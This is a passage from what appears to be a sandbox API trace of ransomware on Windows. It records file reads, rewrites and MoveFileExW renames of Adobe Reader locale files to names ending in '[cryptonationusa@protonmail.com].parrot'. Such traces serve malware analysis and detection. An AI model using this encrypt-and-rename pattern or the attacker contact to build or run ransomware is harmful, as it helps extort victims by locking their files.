| out: hHeap=0x5b0000) returned 1 [0250.519] WriteFile (in: hFile=0x288, lpBuffer=0x615228*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x615228*, lpNumberOfBytesWritten=0x18e604*=0x208, lpOverlapped=0x0) returned 1 [0250.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0250.522] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0250.523] CloseHandle (hObject=0x288) returned 1 [0250.523] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0250.523] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x22f7550 [0250.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3279e80 | out: hHeap=0x5b0000) returned 1 [0250.523] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0250.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0250.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x3277be8 [0250.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x3273f20 [0250.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0250.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0250.526] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0250.527] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21553300, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x21553300, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.527] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x214bad80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x9468, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0250.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d9768 [0250.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9768 | out: hHeap=0x5b0000) returned 1 [0250.530] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.530] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.531] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.531] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0250.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0250.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0250.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0250.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0250.532] GetLastError () returned 0x0 [0250.532] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0250.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0250.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0250.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0250.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0250.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0250.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0250.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0250.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0250.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0250.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0250.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0250.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x32a2588 [0250.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0250.534] WriteFile (in: hFile=0x1b0, lpBuffer=0x32a25a0*, nNumberOfBytesToWrite=0x2928, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32a25a0*, lpNumberOfBytesWritten=0x18e8f4*=0x2928, lpOverlapped=0x0) returned 1 [0250.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0250.537] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0250.537] CloseHandle (hObject=0x1b0) returned 1 [0250.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0250.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32d9e90 [0250.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0250.538] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Spelling.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\spelling.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Spelling.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\spelling.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0250.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0250.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0250.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0250.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0250.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0250.541] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.541] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.547] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.547] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0250.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0250.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0250.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0250.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0250.548] GetLastError () returned 0x0 [0250.548] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0250.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0250.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0250.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0250.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0250.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0250.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0250.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0250.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0250.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0250.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0250.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0250.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0250.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0250.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0250.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x32a2588 [0250.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0250.550] WriteFile (in: hFile=0x1b0, lpBuffer=0x32a25a0*, nNumberOfBytesToWrite=0x2b28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32a25a0*, lpNumberOfBytesWritten=0x18e8f4*=0x2b28, lpOverlapped=0x0) returned 1 [0250.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0250.553] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0250.553] CloseHandle (hObject=0x1b0) returned 1 [0250.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0250.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32d9e90 [0250.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0250.553] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\updater.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\updater.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\updater.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\updater.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0250.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0250.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0250.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0250.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0250.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0250.559] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.559] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.562] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.562] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6c00, lpOverlapped=0x0) returned 1 [0250.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0250.563] GetLastError () returned 0x0 [0250.563] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0250.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0250.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0250.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0250.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0250.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0250.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0250.564] HeapFree (in: hHeap=0x5b0000, 